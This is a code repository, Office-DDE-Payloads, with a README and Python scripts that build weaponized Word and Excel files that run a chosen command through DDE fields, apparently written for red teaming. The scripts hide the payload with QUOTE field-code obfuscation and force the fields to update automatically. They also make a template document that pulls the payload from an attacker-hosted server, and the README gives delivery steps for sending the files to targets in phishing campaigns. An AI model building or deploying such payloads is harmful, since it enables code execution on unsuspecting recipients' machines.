├── LICENSE.md ├── README.md ├── ddeexcel.py ├── ddeword.py ├── requirements.txt └── templates ├── payload-obfuscated.docx ├── payload.docx ├── payload.xlsx └── template.docx /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Dominic Spinosa 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Office-DDE-Payloads 2 | 3 | ## Overview 4 | Collection of scripts and templates to generate Word and Excel documents embedded with the DDE, macro-less command execution technique described 5 | by [@_staaldraad](https://twitter.com/_staaldraad) and [@0x5A1F](https://twitter.com/Saif_Sherei) (blog post link in [References](#references) 6 | section below). Intended for use during sanctioned red team engagements and/or phishing campaigns. 7 | 8 | Word DDE obfuscation and evasion techniques inspired by [@_staaldraad](https://twitter.com/_staaldraad) (blog post link in [References](#references) section below). 9 | 10 | **NOTE:** *Be sure to remove personal/identifying information from the documents before hosting and sending to target (e.g., by way of the File --> Inspect Document functionality). This has already been applied to the docs in 'templates', but it's always good practice to confirm.* 11 | 12 | ## Install Dependencies 13 | pip install -r requirements.txt 14 | 15 | ## Usage (Excel) 16 | Insert a simple (unobfuscated) DDE command string into the Excel payload document: 17 | 18 | python ddeexcel.py 19 | 20 | This will generate one Excel document: 21 | 22 | *out/payload-final.xlsx* 23 | - Contains user-provided DDE payload/command string. 24 | 25 | ### Delivery 26 | By default, the user then has one standard methods of payload delivery, described below: 27 | 28 | 1. Customize/Stylize the Excel payload document and send directly to the desired target(s). 29 | 30 | ## Usage (Word) 31 | Insert a simple (unobfuscated) DDE command string into the Word payload document: 32 | 33 | python ddeword.py 34 | 35 | Insert an obfuscated DDE command string by way of the {QUOTE} field code technique into the Word payload document: 36 | 37 | python ddeword.py --obfuscate 38 | 39 | **NOTE:** *When leveraging the template doc to link/reference the payload doc (by way of the --obfuscate trigger), do not use the DDEAUTO element in place of the DDE element. This will (1) elicit three sets of prompts to the user and (2) disrupt/corrupt the first set of prompts to display "!Unexpected end of formula" and fail the execution of the DDE command string. For some reason, DDEAUTO does not play well with the updateFields value in word/settings.xml.* 40 | 41 | Both forms of usage will generate two Word documents: 42 | 43 | *out/template-final.docx* 44 | - The webSettings are configured to pull the DDE element from payload-final.docx or payload-obfuscated-final.docx, which is hosted by a server specified by the user. 45 | 46 | *out/payload-final.docx* (not obfuscated) 47 | *out/payload-obfuscated-final.docx* (obfuscated) 48 | - Contains user-provided DDE payload/command string. Hosted by user-controlled server (URL provided by user and baked into template-final.docx). 49 | 50 | ### Delivery 51 | By default, the user then has two standard methods of payload delivery, described below: 52 | 53 | 1. Host the payload Word document on a user-controlled server (pointed to by the provided URL). Customize/stylize the template document and send directly to the desired target(s). This will trigger a remote reference to the payload document, ultimately pulling and executing the DDE command string. 54 | 55 | 2. Customize/Stylize the Word payload document and send directly to the desired target(s). 56 | 57 | ## To-Do 58 | - Add a script to implement @enigma0x3's embedding Excel spreadsheet in OneNote technique 59 | - Add option to include various conditional statements intended to increase operational security (e.g., sandbox evasion) 60 | - Research obfuscation/evasion techniques for both Excel and Outlook 61 | - Add module for Outlook DDE payload generation 62 | - Create option for user to choose prepackaged DDE command strings 63 | 64 | ## References 65 | https://www.contextis.com/blog/comma-separated-vulnerabilities 66 | http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ 67 | https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ 68 | https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ 69 | https://staaldraad.github.io/2017/10/23/msword-field-codes/ 70 | https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee 71 | 72 | ## Additional Thanks 73 | [@ryHanson](https://twitter.com/ryhanson) 74 | [@SecuritySift](https://twitter.com/securitysift) 75 | [@GossiTheDog](https://twitter.com/gossithedog) 76 | [@enigma0x3](https://twitter.com/enigma0x3) 77 | [@albinowax](https://twitter.com/albinowax) 78 | [@exploresecurity](https://twitter.com/exploresecurity) 79 | [@decode141](https://twitter.com/decode141) 80 | -------------------------------------------------------------------------------- /ddeexcel.py: -------------------------------------------------------------------------------- 1 | from builtins import input # python3 support 2 | import zipfile 3 | import argparse 4 | import os 5 | import tempfile 6 | import shutil 7 | from lxml import etree 8 | 9 | __version__ = "1.0" 10 | __author__ = "0xdeadbeefJERKY" 11 | 12 | """ 13 | Overview: 14 | Leverages the macro-less DDE code execution technique (described 15 | in the blog posts listed in the References section below) to 16 | generate one malicious Excel file. 17 | 18 | Usage: 19 | Install dependencies: 20 | 21 | pip install -r requirements.txt 22 | 23 | Insert a simple (unobfuscated) DDE command string into the 24 | payload document: 25 | 26 | python ddeexcel.py 27 | 28 | This will generate one Excel file: 29 | 30 | *out/payload-final.xlsx* 31 | - Contains user-provided DDE payload/command string. 32 | 33 | References: 34 | http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ 35 | https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ 36 | """ 37 | 38 | def arg_parse(): 39 | """Parse command-line arguments.""" 40 | parser = argparse.ArgumentParser() 41 | parser.add_argument('--version', action='version', version='%(prog)s ' + __version__) 42 | results = parser.parse_args() 43 | 44 | return results 45 | 46 | def gen_payload(): 47 | # Prompt user for DDE payload 48 | payload = [] 49 | arg1 = input("[-] Enter DDE payload argument #1: ") 50 | arg2 = input("[-] Enter DDE payload argument #2: ") 51 | arg3 = input("[-] Enter DDE payload argument #3 (press ENTER to omit): ") 52 | 53 | payload.append(arg1) 54 | payload.append(arg2) 55 | payload.append(arg3) 56 | 57 | """ 58 | # Example set of DDE arguments to form payload 59 | MSEXCEL 60 | \..\..\..\Windows\System32\cmd.exe 61 | /c calc.exe 62 | """ 63 | 64 | print('[*] Selected DDE payload: {}'.format(payload[0] + "|" + payload[1] + " " + payload[2])) 65 | 66 | return payload 67 | 68 | if __name__ == "__main__": 69 | # Create 'out' directory 70 | if not os.path.exists('out'): 71 | os.makedirs('out') 72 | 73 | # Set output file name and create zipfile object 74 | payload_out = "payload-final.xlsx" 75 | zfpay = zipfile.ZipFile('templates/payload.xlsx') 76 | 77 | payload = gen_payload() 78 | 79 | ddeService = payload[0] 80 | ddeTopic = payload[1] + " " + payload[2] 81 | 82 | # Define XML namespace 83 | excel_schema = "{http://schemas.openxmlformats.org/spreadsheetml/2006/main}" 84 | 85 | # Edit payload xl/externalLinks/externalLink1.xml to insert DDE payload 86 | docxml = zfpay.read('xl/externalLinks/externalLink1.xml') 87 | doctree = etree.fromstring(docxml) 88 | 89 | # Find 'externalLink' XML element and change DDE attributes (ddeService and ddeTopic) to DDE payload 90 | print('[*] Inserting DDE payload into {}/xl/externalLinks/externalLink1.xml...'.format(payload_out)) 91 | for node in doctree.iter(tag=etree.Element): 92 | if "ddeLink" in node.tag: 93 | node.attrib['ddeService'] = ddeService 94 | node.attrib['ddeTopic'] = ddeTopic 95 | 96 | # Create temp directory and extract payload.xlsx file to it 97 | tmp_dir_pay = tempfile.mkdtemp() 98 | zfpay.extractall(tmp_dir_pay) 99 | 100 | # Write modified xl/externalLinks/externalLink1.xml to temp directory for payload.xlsxdocx 101 | with open(os.path.join(tmp_dir_pay,'xl/externalLinks/externalLink1.xml'), 'w') as f: 102 | xmlstr = etree.tostring(doctree) 103 | f.write(xmlstr.decode()) 104 | 105 | # Get a list of all the files in the original 106 | filenames_pay = zfpay.namelist() 107 | 108 | # Now, create the new zip file and add all the files into the archive 109 | zfcopypay = 'out/' + payload_out 110 | 111 | with zipfile.ZipFile(zfcopypay, "w") as doc: 112 | for filename in filenames_pay: 113 | doc.write(os.path.join(tmp_dir_pay,filename), filename) 114 | 115 | # Remove temporary directories 116 | shutil.rmtree(tmp_dir_pay) 117 | 118 | print('[*] Payload generation complete! Delivery methods below:\n\t1. Send {} directly to your target(s).'.format(payload_out)) 119 | -------------------------------------------------------------------------------- /ddeword.py: -------------------------------------------------------------------------------- 1 | from builtins import input # python3 support 2 | import zipfile 3 | import argparse 4 | import os 5 | import tempfile 6 | import shutil 7 | from lxml import etree 8 | 9 | __version__ = "1.1" 10 | __author__ = "0xdeadbeefJERKY" 11 | 12 | """ 13 | Overview: 14 | Leverages the macro-less DDE code execution technique described 15 | by @_staaldraad and @0x5A1F (blog post link in References 16 | section below) to generate two malicious Word documents: 17 | 18 | Usage: 19 | Install dependencies: 20 | 21 | pip install -r requirements.txt 22 | 23 | Insert a simple (unobfuscated) DDE command string into the 24 | payload document: 25 | 26 | python ddeword.py 27 | 28 | Insert an obfuscated DDE command string by way of the {QUOTE} 29 | field code technique into the payload document: 30 | 31 | python ddeword.py --obfuscate 32 | 33 | Both forms of usage will generate two Word documents: 34 | 35 | *out/template-final.docx* 36 | - The webSettings are configured to pull the DDE element from 37 | payload-final.docx or payload-obfuscated-final.docx, which 38 | is hosted by a server specified by the user. 39 | 40 | *out/payload-final.docx* (not obfuscated) 41 | *out/payload-obfuscated-final.docx* (obfuscated) 42 | - Contains user-provided DDE payload/command string. Hosted by 43 | user-controlled server (URL provided by user and baked into 44 | template-final.docx). 45 | 46 | Obfuscation and evasion techniques inspired by @_staaldraad 47 | (blog post link in References section below). 48 | 49 | References: 50 | https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ 51 | https://staaldraad.github.io/2017/10/23/msword-field-codes/ 52 | 53 | Additional Thanks: 54 | @ryHanson 55 | @SecuritySift 56 | @GossiTheDog 57 | """ 58 | 59 | def arg_parse(): 60 | """Parse command-line arguments.""" 61 | parser = argparse.ArgumentParser() 62 | parser.add_argument('--obfuscate', action='store_true', dest='obfuscate', default=False, help='Enable {QUOTE} field code obfuscation') 63 | parser.add_argument('--version', action='version', version='%(prog)s ' + __version__) 64 | results = parser.parse_args() 65 | 66 | return results.obfuscate 67 | 68 | def obfuscate_dde(payload): 69 | """Obfuscate DDE payload using {QUOTE} field code.""" 70 | out = " QUOTE " 71 | 72 | for c in payload: 73 | out += (" %s"%ord(c)) 74 | 75 | return out 76 | 77 | def gen_payload(obfuscate): 78 | # Prompt user for DDE payload 79 | payload = [] 80 | arg1 = input("[-] Enter DDE payload argument #1: ") 81 | arg2 = input("[-] Enter DDE payload argument #2: ") 82 | arg3 = input("[-] Enter DDE payload argument #3 (press ENTER to omit): ") 83 | 84 | payload.append('DDE') 85 | payload.append(arg1) 86 | payload.append(arg2) 87 | payload.append(arg3) 88 | 89 | """ 90 | # Example set of DDE arguments to form payload 91 | C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe 92 | /c calc.exe 93 | for security reasons 94 | """ 95 | 96 | # Obfuscate provided DDE payload (if enabled) 97 | if obfuscate: 98 | print("[*] Converting DDE payload using {QUOTE} field code...") 99 | obfusc_payload = [] 100 | obfusc_payload.append(obfuscate_dde(payload[1].replace('\\\\','\\'))) 101 | obfusc_payload.append(obfuscate_dde(payload[2].replace('\\\\','\\'))) 102 | obfusc_payload.append(obfuscate_dde(payload[3].replace('\\\\','\\'))) 103 | else: 104 | payload[1] = '"' + payload[1] + '"' 105 | payload[2] = '"' + payload[2] + '"' 106 | payload[3] = '"' + payload[3] + '"' 107 | 108 | payload = " ".join(payload) 109 | print('[*] Selected DDE payload: {}'.format(payload)) 110 | 111 | if obfuscate: 112 | print('[*] Obfuscated DDE payload: {}'.format(obfusc_payload)) 113 | 114 | # Prompt user for server hosting payload Office document (referenced by 'template') 115 | # e.g., http://localhost:8000 116 | targetsvr = input("[-] Enter server URL (hosting payload Word file): ") 117 | if obfuscate: 118 | targetsvr = targetsvr + '/payload-obfuscated-final.docx' 119 | else: 120 | targetsvr = targetsvr + '/payload-final.docx' 121 | 122 | if obfuscate: 123 | return obfusc_payload, targetsvr 124 | else: 125 | return payload, targetsvr 126 | 127 | if __name__ == "__main__": 128 | # Parse arguments from command-line 129 | obfuscate = arg_parse() 130 | 131 | # Create 'out' directory 132 | if not os.path.exists('out'): 133 | os.makedirs('out') 134 | 135 | # Set output file names and create zipfile objects for each 136 | if obfuscate: 137 | payload_out = "payload-obfuscated-final.docx" 138 | zfpay = zipfile.ZipFile('templates/payload-obfuscated.docx') 139 | else: 140 | payload_out = "payload-final.docx" 141 | zfpay = zipfile.ZipFile('templates/payload.docx') 142 | template_out = "template-final.docx" 143 | zftemplate = zipfile.ZipFile('templates/template.docx') 144 | 145 | obfusc_payload, targetsvr = gen_payload(obfuscate) 146 | 147 | # Define frameset XML code (to be inserted in template.docx/word/webSettings.xml) 148 | frameset = '' 149 | frameset = etree.fromstring(frameset) 150 | 151 | # Define XML namespace 152 | word_schema = "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}" 153 | 154 | # Edit payload document.xml to insert DDE payload 155 | docxml = zfpay.read('word/document.xml') 156 | doctree = etree.fromstring(docxml) 157 | # Edit template webSettings to insert frameset into webSettings.xml and 158 | # webSettings.xml.rels file 159 | webxml = zftemplate.read('word/webSettings.xml') 160 | webtree = etree.fromstring(webxml) 161 | # Edit payload settings.xml to insert updateFields element 162 | settingxml = zfpay.read('word/settings.xml') 163 | settingtree = etree.fromstring(settingxml) 164 | 165 | updatefields = '' 166 | updatefields = etree.fromstring(updatefields) 167 | 168 | # Find 'settings' XML element in word/settings.xml and insert element to 169 | # automatically update fields within the document 170 | for node in settingtree.iter(tag=etree.Element): 171 | if node.tag == word_schema + "settings": 172 | print('[*] Inserting updateFields XML element into {}/word/settings.xml...'.format(payload_out)) 173 | node.insert(0,updatefields) 174 | 175 | # Find 'webSettings' XML element and insert frameset as child element 176 | for node in webtree.iter(tag=etree.Element): 177 | if node.tag == word_schema + "webSettings": 178 | print('[*] Inserting frameset XML element into {}/word/webSettings.xml...'.format(template_out)) 179 | node.insert(0,frameset) 180 | 181 | # Formulate XML elements necessary to insert nested, obfuscated DDE payload into 182 | # payload.docx/word/document.xml (for obfuscated payloads only) 183 | instrtext = ''' 184 | SET c " " SET d " " SET e " " DDE 185 | ''' 186 | 187 | # Find 'instrText' XML element and change value to DDE payload 188 | print('[*] Inserting DDE payload into {}/word/document.xml...'.format(payload_out)) 189 | if obfuscate: 190 | for node in doctree.iter(tag=etree.Element): 191 | if node.tag == word_schema + "document": 192 | instrtext = etree.fromstring(instrtext) 193 | node.insert(0, instrtext) 194 | else: 195 | for node in doctree.iter(tag=etree.Element): 196 | if node.tag == word_schema + "instrText": 197 | node.text = obfusc_payload 198 | 199 | # Create temp directories and extract both payload.docx and template.docx files to them 200 | tmp_dir_pay = tempfile.mkdtemp() 201 | tmp_dir_template = tempfile.mkdtemp() 202 | zfpay.extractall(tmp_dir_pay) 203 | zftemplate.extractall(tmp_dir_template) 204 | 205 | # Write modified settings.xml to temp directory for payload.docx 206 | with open(os.path.join(tmp_dir_pay,'word/settings.xml'), 'w') as f: 207 | xmlstr = etree.tostring(settingtree) 208 | f.write(xmlstr.decode()) 209 | 210 | # Write modified webSettings.xml to temp directory for template.docx 211 | with open(os.path.join(tmp_dir_template,'word/webSettings.xml'), 'w') as f: 212 | xmlstr = etree.tostring(webtree) 213 | f.write(xmlstr.decode()) 214 | 215 | # Create word/_rels/webSettings.xml.rels file and insert Relationships XML element 216 | websettingsrels = '' 217 | websettingsrels = etree.fromstring(websettingsrels) 218 | 219 | with open(os.path.join(tmp_dir_template,'word/_rels/webSettings.xml.rels'), 'w') as f: 220 | xmlstr = etree.tostring(websettingsrels) 221 | f.write(xmlstr.decode()) 222 | 223 | # Write modified word/document.xml to temp directory for payload.docx 224 | with open(os.path.join(tmp_dir_pay,'word/document.xml'), 'w') as f: 225 | xmlstr = etree.tostring(doctree) 226 | f.write(xmlstr.decode()) 227 | 228 | # Get a list of all the files in the original 229 | filenames_pay = zfpay.namelist() 230 | filenames_template = zftemplate.namelist() 231 | 232 | # Now, create the new zip file and add all the files into the archive 233 | zfcopypay = 'out/' + payload_out 234 | zfcopytemplate = 'out/' + template_out 235 | 236 | with zipfile.ZipFile(zfcopypay, "w") as doc: 237 | for filename in filenames_pay: 238 | doc.write(os.path.join(tmp_dir_pay,filename), filename) 239 | 240 | with zipfile.ZipFile(zfcopytemplate, "w") as doc: 241 | for filename in filenames_pay: 242 | doc.write(os.path.join(tmp_dir_template,filename), filename) 243 | # Write webSettings.xml.rels file separately, as it was not included 244 | # in the original ZIP file listing 245 | doc.write(os.path.join(tmp_dir_template,"word/_rels/webSettings.xml.rels"), "word/_rels/webSettings.xml.rels") 246 | 247 | # Remove temporary directories 248 | shutil.rmtree(tmp_dir_pay) 249 | shutil.rmtree(tmp_dir_template) 250 | 251 | print('[*] Payload generation complete! Delivery methods below:\n\t1. Host {} at {} and send {} to your target(s).\n\t2. Send {} directly to your target(s).'.format(payload_out, targetsvr, template_out, payload_out)) 252 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | future==0.16.0 2 | lxml==4.6.3 3 | -------------------------------------------------------------------------------- /templates/payload-obfuscated.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/payload-obfuscated.docx -------------------------------------------------------------------------------- /templates/payload.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/payload.docx -------------------------------------------------------------------------------- /templates/payload.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/payload.xlsx -------------------------------------------------------------------------------- /templates/template.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdeadbeefJERKY/Office-DDE-Payloads/53291f9e0245d3ad291183aaf8c44cc76604f13d/templates/template.docx --------------------------------------------------------------------------------